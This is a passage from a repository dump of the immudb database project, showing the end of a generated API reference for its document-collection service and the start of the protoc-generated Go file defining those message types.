repeated |  |\n| limit | [uint32](#uint32) |  |  |\n\n\n\n\n\n\n<a name=\"immudb.model.QueryExpression\"></a>\n\n### QueryExpression\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| fieldComparisons | [FieldComparison](#immudb.model.FieldComparison) | repeated |  |\n\n\n\n\n\n\n<a name=\"immudb.model.RemoveFieldRequest\"></a>\n\n### RemoveFieldRequest\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| collectionName | [string](#string) |  |  |\n| fieldName | [string](#string) |  |  |\n\n\n\n\n\n\n<a name=\"immudb.model.RemoveFieldResponse\"></a>\n\n### RemoveFieldResponse\n\n\n\n\n\n\n\n<a name=\"immudb.model.ReplaceDocumentsRequest\"></a>\n\n### ReplaceDocumentsRequest\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| query | [Query](#immudb.model.Query) |  |  |\n| document | [google.protobuf.Struct](#google.protobuf.Struct) |  |  |\n\n\n\n\n\n\n<a name=\"immudb.model.ReplaceDocumentsResponse\"></a>\n\n### ReplaceDocumentsResponse\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| revisions | [DocumentAtRevision](#immudb.model.DocumentAtRevision) | repeated |  |\n\n\n\n\n\n\n<a name=\"immudb.model.SearchDocumentsRequest\"></a>\n\n### SearchDocumentsRequest\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| searchId | [string](#string) |  |  |\n| query | [Query](#immudb.model.Query) |  |  |\n| page | [uint32](#uint32) |  |  |\n| pageSize | [uint32](#uint32) |  |  |\n| keepOpen | [bool](#bool) |  |  |\n\n\n\n\n\n\n<a name=\"immudb.model.SearchDocumentsResponse\"></a>\n\n### SearchDocumentsResponse\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| searchId | [string](#string) |  |  |\n| revisions | [DocumentAtRevision](#immudb.model.DocumentAtRevision) | repeated |  |\n\n\n\n\n\n\n<a name=\"immudb.model.UpdateCollectionRequest\"></a>\n\n### UpdateCollectionRequest\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| name | [string](#string) |  |  |\n| documentIdFieldName | [string](#string) |  |  |\n\n\n\n\n\n\n<a name=\"immudb.model.UpdateCollectionResponse\"></a>\n\n### UpdateCollectionResponse\n\n\n\n\n\n\n \n\n\n<a name=\"immudb.model.ComparisonOperator\"></a>\n\n### ComparisonOperator\n\n\n| Name | Number | Description |\n| ---- | ------ | ----------- |\n| EQ | 0 |  |\n| NE | 1 |  |\n| LT | 2 |  |\n| LE | 3 |  |\n| GT | 4 |  |\n| GE | 5 |  |\n| LIKE | 6 |  |\n| NOT_LIKE | 7 |  |\n\n\n\n<a name=\"immudb.model.FieldType\"></a>\n\n### FieldType\n\n\n| Name | Number | Description |\n| ---- | ------ | ----------- |\n| STRING | 0 |  |\n| BOOLEAN | 1 |  |\n| INTEGER | 2 |  |\n| DOUBLE | 3 |  |\n| UUID | 4 |  |\n\n\n \n\n \n\n\n<a name=\"immudb.model.DocumentService\"></a>\n\n### DocumentService\n\n\n| Method Name | Request Type | Response Type | Description |\n| ----------- | ------------ | ------------- | ------------|\n| CreateCollection | [CreateCollectionRequest](#immudb.model.CreateCollectionRequest) | [CreateCollectionResponse](#immudb.model.CreateCollectionResponse) |  |\n| GetCollections | [GetCollectionsRequest](#immudb.model.GetCollectionsRequest) | [GetCollectionsResponse](#immudb.model.GetCollectionsResponse) |  |\n| GetCollection | [GetCollectionRequest](#immudb.model.GetCollectionRequest) | [GetCollectionResponse](#immudb.model.GetCollectionResponse) |  |\n| UpdateCollection | [UpdateCollectionRequest](#immudb.model.UpdateCollectionRequest) | [UpdateCollectionResponse](#immudb.model.UpdateCollectionResponse) |  |\n| DeleteCollection | [DeleteCollectionRequest](#immudb.model.DeleteCollectionRequest) | [DeleteCollectionResponse](#immudb.model.DeleteCollectionResponse) |  |\n| AddField | [AddFieldRequest](#immudb.model.AddFieldRequest) | [AddFieldResponse](#immudb.model.AddFieldResponse) |  |\n| RemoveField | [RemoveFieldRequest](#immudb.model.RemoveFieldRequest) | [RemoveFieldResponse](#immudb.model.RemoveFieldResponse) |  |\n| CreateIndex | [CreateIndexRequest](#immudb.model.CreateIndexRequest) | [CreateIndexResponse](#immudb.model.CreateIndexResponse) |  |\n| DeleteIndex | [DeleteIndexRequest](#immudb.model.DeleteIndexRequest) | [DeleteIndexResponse](#immudb.model.DeleteIndexResponse) |  |\n| InsertDocuments | [InsertDocumentsRequest](#immudb.model.InsertDocumentsRequest) | [InsertDocumentsResponse](#immudb.model.InsertDocumentsResponse) |  |\n| ReplaceDocuments | [ReplaceDocumentsRequest](#immudb.model.ReplaceDocumentsRequest) | [ReplaceDocumentsResponse](#immudb.model.ReplaceDocumentsResponse) |  |\n| DeleteDocuments | [DeleteDocumentsRequest](#immudb.model.DeleteDocumentsRequest) | [DeleteDocumentsResponse](#immudb.model.DeleteDocumentsResponse) |  |\n| SearchDocuments | [SearchDocumentsRequest](#immudb.model.SearchDocumentsRequest) | [SearchDocumentsResponse](#immudb.model.SearchDocumentsResponse) |  |\n| CountDocuments | [CountDocumentsRequest](#immudb.model.CountDocumentsRequest) | [CountDocumentsResponse](#immudb.model.CountDocumentsResponse) |  |\n| AuditDocument | [AuditDocumentRequest](#immudb.model.AuditDocumentRequest) | [AuditDocumentResponse](#immudb.model.AuditDocumentResponse) |  |\n| ProofDocument | [ProofDocumentRequest](#immudb.model.ProofDocumentRequest) | [ProofDocumentResponse](#immudb.model.ProofDocumentResponse) |  |\n\n \n\n\n\n## Scalar Value Types\n\n| .proto Type | Notes | C++ | Java | Python | Go | C# | PHP | Ruby |\n| ----------- | ----- | --- | ---- | ------ | -- | -- | --- | ---- |\n| <a name=\"double\" /> double |  | double | double | float | float64 | double | float | Float |\n| <a name=\"float\" /> float |  | float | float | float | float32 | float | float | Float |\n| <a name=\"int32\" /> int32 | Uses variable-length encoding. Inefficient for encoding negative numbers – if your field is likely to have negative values, use sint32 instead. | int32 | int | int | int32 | int | integer | Bignum or Fixnum (as required) |\n| <a name=\"int64\" /> int64 | Uses variable-length encoding. Inefficient for encoding negative numbers – if your field is likely to have negative values, use sint64 instead. | int64 | long | int/long | int64 | long | integer/string | Bignum |\n| <a name=\"uint32\" /> uint32 | Uses variable-length encoding. | uint32 | int | int/long | uint32 | uint | integer | Bignum or Fixnum (as required) |\n| <a name=\"uint64\" /> uint64 | Uses variable-length encoding. | uint64 | long | int/long | uint64 | ulong | integer/string | Bignum or Fixnum (as required) |\n| <a name=\"sint32\" /> sint32 | Uses variable-length encoding. Signed int value. These more efficiently encode negative numbers than regular int32s. | int32 | int | int | int32 | int | integer | Bignum or Fixnum (as required) |\n| <a name=\"sint64\" /> sint64 | Uses variable-length encoding. Signed int value. These more efficiently encode negative numbers than regular int64s. | int64 | long | int/long | int64 | long | integer/string | Bignum |\n| <a name=\"fixed32\" /> fixed32 | Always four bytes. More efficient than uint32 if values are often greater than 2^28. | uint32 | int | int | uint32 | uint | integer | Bignum or Fixnum (as required) |\n| <a name=\"fixed64\" /> fixed64 | Always eight bytes. More efficient than uint64 if values are often greater than 2^56. | uint64 | long | int/long | uint64 | ulong | integer/string | Bignum |\n| <a name=\"sfixed32\" /> sfixed32 | Always four bytes. | int32 | int | int | int32 | int | integer | Bignum or Fixnum (as required) |\n| <a name=\"sfixed64\" /> sfixed64 | Always eight bytes. | int64 | long | int/long | int64 | long | integer/string | Bignum |\n| <a name=\"bool\" /> bool |  | bool | boolean | boolean | bool | bool | boolean | TrueClass/FalseClass |\n| <a name=\"string\" /> string | A string must always contain UTF-8 encoded or 7-bit ASCII text. | string | String | str/unicode | string | string | string | String (UTF-8) |\n| <a name=\"bytes\" /> bytes | May contain any arbitrary sequence of bytes. | string | ByteString | str | []byte | ByteString | string | String (ASCII-8BIT) |\n\n"
  },
  {
    "path": "pkg/api/protomodel/documents.pb.go",
    "content": "//\n//Copyright 2023 Codenotary Inc. All rights reserved.\n//\n//Licensed under the Apache License, Version 2.0 (the \"License\");\n//you may not use this file except in compliance with the License.\n//You may obtain a copy of the License at\n//\n//http://www.apache.org/licenses/LICENSE-2.0\n//\n//Unless required by applicable law or agreed to in writing, software\n//distributed under the License is distributed on an \"AS IS\" BASIS,\n//WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n//See the License for the specific language governing permissions and\n//limitations under the License.\n\n// Code generated by protoc-gen-go. DO NOT EDIT.\n// versions:\n// \tprotoc-gen-go v1.32.0\n// \tprotoc        v3.21.12\n// source: documents.proto\n\npackage protomodel\n\nimport (\n\tschema \"github.com/codenotary/immudb/pkg/api/schema\"\n\t_ \"github.com/grpc-ecosystem/grpc-gateway/protoc-gen-swagger/options\"\n\t_ \"google.golang.org/genproto/googleapis/api/annotations\"\n\tprotoreflect \"google.golang.org/protobuf/reflect/protoreflect\"\n\tprotoimpl \"google.golang.org/protobuf/runtime/protoimpl\"\n\tstructpb \"google.golang.org/protobuf/types/known/structpb\"\n\treflect \"reflect\"\n\tsync \"sync\"\n)\n\nconst (\n\t// Verify that this generated code is sufficiently up-to-date.\n\t_ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion)\n\t// Verify that runtime/protoimpl is sufficiently up-to-date.\n\t_ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20)\n)\n\ntype FieldType int32\n\nconst (\n\tFieldType_STRING  FieldType = 0\n\tFieldType_BOOLEAN FieldType = 1\n\tFieldType_INTEGER FieldType = 2\n\tFieldType_DOUBLE  FieldType = 3\n\tFieldType_UUID    FieldType = 4\n)\n\n// Enum value maps for FieldType.\nvar (\n\tFieldType_name = map[int32]string{\n\t\t0: \"STRING\",\n\t\t1: \"BOOLEAN\",\n\t\t2: \"INTEGER\",\n\t\t3: \"DOUBLE\",\n\t\t4: \"UUID\",\n\t}\n\tFieldType_value = map[string]int32{\n\t\t\"STRING\":  0,\n\t\t\"BOOLEAN\": 1,\n\t\t\"INTEGER\": 2,\n\t\t\"DOUBLE\":  3,\n\t\t\"UUID\":    4,\n\t}\n)\n\nfunc (x FieldType) Enum() *FieldType {\n\tp := new(FieldType)\n\t*p = x\n\treturn p\n}\n\nfunc (x FieldType) String() string {\n\treturn protoimpl.X.EnumStringOf(x.Descriptor(), protoreflect.EnumNumber(x))\n}\n\nfunc (FieldType) Descriptor() protoreflect.EnumDescriptor {\n\treturn file_documents_proto_enumTypes[0].Descriptor()\n}\n\nfunc (FieldType) Type() protoreflect.EnumType {\n\treturn &file_documents_proto_enumTypes[0]\n}\n\nfunc (x FieldType) Number() protoreflect.EnumNumber {\n\treturn protoreflect.EnumNumber(x)\n}\n\n// Deprecated: Use FieldType.Descriptor instead.\nfunc (FieldType) EnumDescriptor() ([]byte, []int) {\n\treturn file_documents_proto_rawDescGZIP(), []int{0}\n}\n\ntype ComparisonOperator int32\n\nconst (\n\tComparisonOperator_EQ       ComparisonOperator = 0\n\tComparisonOperator_NE       ComparisonOperator = 1\n\tComparisonOperator_LT       ComparisonOperator = 2\n\tComparisonOperator_LE       ComparisonOperator = 3\n\tComparisonOperator_GT       ComparisonOperator = 4\n\tComparisonOperator_GE       ComparisonOperator = 5\n\tComparisonOperator_LIKE     ComparisonOperator = 6\n\tComparisonOperator_NOT_LIKE ComparisonOperator = 7\n)\n\n// Enum value maps for ComparisonOperator.\nvar (\n\tComparisonOperator_name = map[int32]string{\n\t\t0: \"EQ\",\n\t\t1: \"NE\",\n\t\t2: \"LT\",\n\t\t3: \"LE\",\n\t\t4: \"GT\",\n\t\t5: \"GE\",\n\t\t6: \"LIKE\",\n\t\t7: \"NOT_LIKE\",\n\t}\n\tComparisonOperator_value = map[string]int32{\n\t\t\"EQ\":       0,\n\t\t\"NE\":       1,\n\t\t\"LT\":       2,\n\t\t\"LE\":       3,\n\t\t\"GT\":       4,\n\t\t\"GE\":       5,\n\t\t\"LIKE\":     6,\n\t\t\"NOT_LIKE\": 7,\n\t}\n)\n\nfunc (x ComparisonOperator) Enum() *ComparisonOperator {\n\tp := new(ComparisonOperator)\n\t*p = x\n\treturn p\n}\n\nfunc (x ComparisonOperator) String() string {\n\treturn protoimpl.X.EnumStringOf(x.Descriptor(), protoreflect.EnumNumber(x))\n}\n\nfunc (ComparisonOperator) Descriptor() protoreflect.EnumDescriptor {\n\treturn file_documents_proto_enumTypes[1].Descriptor()\n}\n\nfunc (ComparisonOperator) Type() protoreflect.EnumType {\n\treturn &file_documents_proto_enumTypes[1]\n}\n\nfunc (x ComparisonOperator) Number() protoreflect.EnumNumber {\n\treturn protoreflect.EnumNumber(x)\n}\n\n// Deprecated: Use ComparisonOperator.Descriptor instead.\nfunc (ComparisonOperator) EnumDescriptor() ([]byte, []int) {\n\treturn file_documents_proto_rawDescGZIP(), []int{1}\n}\n\ntype CreateCollectionRequest struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\tName                string   `protobuf:\"bytes,1,opt,name=name,proto3\" json:\"name,omitempty\"`\n\tDocumentIdFieldName string   `protobuf:\"bytes,2,opt,name=documentIdFieldName,proto3\" json:\"documentIdFieldName,omitempty\"`\n\tFields              []*Field `protobuf:\"bytes,3,rep,name=fields,proto3\" json:\"fields,omitempty\"`\n\tIndexes             []*Index `protobuf:\"bytes,4,rep,name=indexes,proto3\" json:\"indexes,omitempty\"`\n}\n\nfunc (x *CreateCollectionRequest) Reset() {\n\t*x = CreateCollectionRequest{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_documents_proto_msgTypes[0]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *CreateCollectionRequest) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*CreateCollectionRequest) ProtoMessage() {}\n\nfunc (x *CreateCollectionRequest) ProtoReflect() protoreflect.Message {\n\tmi := &file_documents_proto_msgTypes[0]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use CreateCollectionRequest.ProtoReflect.Descriptor instead.\nfunc (*CreateCollectionRequest) Descriptor() ([]byte, []int) {\n\treturn file_documents_proto_rawDescGZIP(), []int{0}\n}\n\nfunc (x *CreateCollectionRequest) GetName() string {\n\tif x != nil {\n\t\treturn x.Name\n\t}\n\treturn \"\"\n}\n\nfunc (x *CreateCollectionRequest) GetDocumentIdFieldName() string {\n\tif x != nil {\n\t\treturn x.DocumentIdFieldName\n\t}\n\treturn \"\"\n}\n\nfunc (x *CreateCollectionRequest) GetFields() []*Field {\n\tif x != nil {\n\t\treturn x.Fields\n\t}\n\treturn nil\n}\n\nfunc (x *CreateCollectionRequest) GetIndexes() []*Index {\n\tif x != nil {\n\t\treturn x.Indexes\n\t}\n\treturn nil\n}\n\ntype CreateCollectionResponse struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n}\n\nfunc (x *CreateCollectionResponse) Reset() {\n\t*x = CreateCollectionResponse{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_documents_proto_msgTypes[1]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *CreateCollectionResponse) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*CreateCollectionResponse) ProtoMessage() {}\n\nfunc (x *CreateCollectionResponse) ProtoReflect() protoreflect.Message {\n\tmi := &file_documents_proto_msgTypes[1]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use CreateCollectionResponse.ProtoReflect.Descriptor instead.\nfunc (*CreateCollectionResponse) Descriptor() ([]byte, []int) {\n\treturn file_documents_proto_rawDescGZIP(), []int{1}\n}\n\ntype Field struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\tName string    `protobuf:\"bytes,1,opt,name=name,proto3\" json:\"name,omitempty\"`\n\tType FieldType `protobuf:\"varint,2,opt,name=type,proto3,enum=immudb.model.FieldType\" json:\"type,omitempty\"`\n}\n\nfunc (x *Field) Reset() {\n\t*x = Field{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_documents_proto_msgTypes[2]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *Field) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*Field) ProtoMessage() {}\n\nfunc (x *Field) ProtoReflect() protoreflect.Message {\n\tmi := &file_documents_proto_msgTypes[2]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use Field.ProtoReflect.Descriptor instead.\nfunc (*Field) Descriptor() ([]byte, []int) {\n\treturn file_documents_proto_rawDescGZIP(), []int{2}\n}\n\nfunc (x *Field) GetName() string {\n\tif x != nil {\n\t\treturn x.Name\n\t}\n\treturn \"\"\n}\n\nfunc (x *Field) GetType() FieldType {\n\tif x != nil {\n\t\treturn x.Type\n\t}\n\treturn FieldType_STRING\n}\n\ntype Index struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\tFields   []string `protobuf:\"bytes,1,rep,name=fields,proto3\" json:\"fields,omitempty\"`\n\tIsUnique bool     `protobuf:\"varint,2,opt,name=isUnique,proto3\" json:\"isUnique,omitempty\"`\n}\n\nfunc (x *Index) Reset() {\n\t*x = Index{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_documents_proto_msgTypes[3]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *Index) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*Index) ProtoMessage() {}\n\nfunc (x *Index) ProtoReflect() protoreflect.Message {\n\tmi := &file_documents_proto_msgTypes[3]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use Index.ProtoReflect.Descriptor instead.\nfunc (*Index) Descriptor() ([]byte, []int) {\n\treturn file_documents_proto_rawDescGZIP(), []int{3}\n}\n\nfunc (x *Index) GetFields() []string {\n\tif x != nil {\n\t\treturn x.Fields\n\t}\n\treturn nil\n}\n\nfunc (x *Index) GetIsUnique() bool {\n\tif x != nil {\n\t\treturn x.IsUnique\n\t}\n\treturn false\n}\n\ntype GetCollectionRequest struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\tName string `protobuf:\"bytes,1,opt,name=name,proto3\" json:\"name,omitempty\"`\n}\n\nfunc (x *GetCollectionRequest) Reset() {\n\t*x = GetCollectionRequest{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_documents_proto_msgTypes[4]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *GetCollectionRequest) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*GetCollectionRequest) ProtoMessage() {}\n\nfunc (x *GetCollectionRequest) ProtoReflect() protoreflect.Message {\n\tmi := &file_documents_proto_msgTypes[4]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use GetCollectionRequest.ProtoReflect.Descriptor instead.\nfunc (*GetCollectionRequest) Descriptor() ([]byte, []int) {\n\treturn file_documents_proto_rawDescGZIP(), []int{4}\n}\n\nfunc (x *GetCollectionRequest) GetName() string {\n\tif x != nil {\n\t\treturn x.Name\n\t}\n\treturn \"\"\n}\n\ntype GetCollectionResponse struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\tCollection *Collection `protobuf:\"bytes,1,opt,name=collection,proto3\" json:\"collection,omitempty\"`\n}\n\nfunc (x *GetCollectionResponse) Reset() {\n\t*x = GetCollectionResponse{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_documents_proto_msgTypes[5]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *GetCollectionResponse) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*GetCollectionResponse) ProtoMessage() {}\n\nfunc (x *GetCollectionResponse) ProtoReflect() protoreflect.Message {\n\tmi := &file_documents_proto_msgTypes[5]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use GetCollectionResponse.ProtoReflect.Descriptor instead.\nfunc (*GetCollectionResponse) Descriptor() ([]byte, []int) {\n\treturn file_documents_proto_rawDescGZIP(), []int{5}\n}\n\nfunc (x *GetCollectionResponse) GetCollection() *Collection {\n\tif x != nil {\n\t\treturn x.Collection\n\t}\n\treturn nil\n}\n\ntype Collection struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\tName                string   `protobuf:\"bytes,1,opt,name=name,proto3\" json:\"name,omitempty\"`\n\tDocumentIdFieldName string   `protobuf:\"bytes,2,opt,name=documentIdFieldName,proto3\" json:\"documentIdFieldName,omitempty\"`\n\tFields              []*Field `protobuf:\"bytes,3,rep,name=fields,proto3\" json:\"fields,omitempty\"`\n\tIndexes             []*Index `protobuf:\"bytes,4,rep,name=indexes,proto3\" json:\"indexes,omitempty\"`\n}\n\nfunc (x *Collection) Reset() {\n\t*x = Collection{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_documents_proto_msgTypes[6]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *Collection) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*Collection) ProtoMessage() {}\n\nfunc (x *Collection) ProtoReflect() protoreflect.Message {\n\tmi := &file_documents_proto_msgTypes[6]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use Collection.ProtoReflect.Descriptor instead.\nfunc (*Collection) Descriptor() ([]byte, []int) {\n\treturn file_documents_proto_rawDescGZIP(), []int{6}\n}\n\nfunc (x *Collection) GetName() string {\n\tif x != nil {\n\t\treturn x.Name\n\t}\n\treturn \"\"\n}\n\nfunc (x *Collection) GetDocumentIdFieldName() string {\n\tif x != nil {\n\t\treturn x.DocumentIdFieldName\n\t}\n\treturn \"\"\n}\n\nfunc (x *Collection) GetFields() []*Field {\n\tif x != nil {\n\t\treturn x.Fields\n\t}\n\treturn nil\n}\n\nfunc (x *Collection) GetIndexes() []*Index {\n\tif x != nil {\n\t\treturn x.Indexes\n\t}\n\treturn nil\n}\n\ntype GetCollectionsRequest struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n}\n\nfunc (x *GetCollectionsRequest) Reset() {\n\t*x = GetCollectionsRequest{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_documents_proto_msgTypes[7]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *GetCollectionsRequest) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*GetCollectionsRequest) ProtoMessage() {}\n\nfunc (x *GetCollectionsRequest) ProtoReflect() protoreflect.Message {\n\tmi := &file_documents_proto_msgTypes[7]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use GetCollectionsRequest.ProtoReflect.Descriptor instead.\nfunc (*GetCollectionsRequest) Descriptor() ([]byte, []int) {\n\treturn file_documents_proto_rawDescGZIP(), []int{7}\n}\n\ntype GetCollectionsResponse struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\tCollections []*Collection `protobuf:\"bytes,1,rep,name=collections,proto3\" json:\"collections,omitempty\"`\n}\n\nfunc (x *GetCollectionsResponse) Reset() {\n\t*x = GetCollectionsResponse{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_documents_proto_msgTypes[8]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *GetCollectionsResponse) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*GetCollectionsResponse) ProtoMessage() {}\n\nfunc (x *GetCollectionsResponse) ProtoReflect() protoreflect.Message {\n\tmi := &file_documents_proto_msgTypes[8]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use GetCollectionsResponse.ProtoReflect.Descriptor instead.\nfunc (*GetCollectionsResponse) Descriptor() ([]byte, []int) {\n\treturn file_documents_proto_rawDescGZIP(), []int{8}\n}\n\nfunc (x *GetCollectionsResponse) GetCollections() []*Collection {\n\tif x != nil {\n\t\treturn x.Collections\n\t}\n\treturn nil\n}\n\ntype DeleteCollectionRequest struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\tName string `protobuf:\"bytes,1,opt,name=name,proto3\" json:\"name,omitempty\"`\n}\n\nfunc (x *DeleteCollectionRequest) Reset() {\n\t*x = DeleteCollectionRequest{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_documents_proto_msgTypes[9]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *DeleteCollectionRequest) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*DeleteCollectionRequest) ProtoMessage() {}\n\nfunc (x *DeleteCollectionRequest) ProtoReflect() protoreflect.Message {\n\tmi := &file_documents_proto_msgTypes[9]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use DeleteCollectionRequest.ProtoReflect.Descriptor instead.\nfunc (*DeleteCollectionRequest) Descriptor() ([]byte, []int) {\n\treturn file_documents_proto_rawDescGZIP(), []int{9}\n}\n\nfunc (x *DeleteCollectionRequest) GetName() string {\n\tif x != nil {\n\t\treturn x.Name\n\t}\n\treturn \"\"\n}\n\ntype DeleteCollectionResponse struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n}\n\nfunc (x *DeleteCollectionResponse) Reset() {\n\t*x = DeleteCollectionResponse{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_documents_proto_msgTypes[10]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *DeleteCollectionResponse) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc 